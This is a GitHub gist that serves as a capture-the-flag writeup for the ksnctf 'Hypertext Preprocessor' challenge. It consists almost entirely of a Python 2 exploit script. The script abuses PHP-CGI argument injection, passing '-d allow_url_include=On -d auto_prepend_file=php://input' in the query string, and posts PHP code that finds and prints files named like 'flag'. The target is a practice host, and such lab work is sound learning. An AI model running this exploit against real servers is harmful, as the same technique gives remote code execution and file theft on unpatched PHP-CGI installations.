Skip to content

Instantly share code, notes, and snippets.

@mimaun
Created December 28, 2015 04:26
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
Star You must be signed in to star a gist
Save mimaun/1cb80904d79ee92d412b to your computer and use it in GitHub Desktop.
ksnctf Hypertext Preprocessor Writeup
#! /usr/bin/env python
# -*-coding: utf-8-*-
import requests
url = "http://ctfq.sweetduet.info:10080/~q12/index.php"
headers = { # Set the appropriate headers for the response
'Host': "ctfq.sweetduet.info:10080",
'User-Agent': 'Mozilla',
'Connection': 'keep-alive'
}
param = "?-d+allow_url_include%3DOn+-d+auto_prepend_file%3Dphp://input"
data = """
<?php
foreach(glob("*flag*") as $file) {
echo $file . "\n";
echo file_get_contents($file) . "\n";
}
?>
"""[1:-1]
req = requests.post(url+param,headers=headers,data=data)
print req.text
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment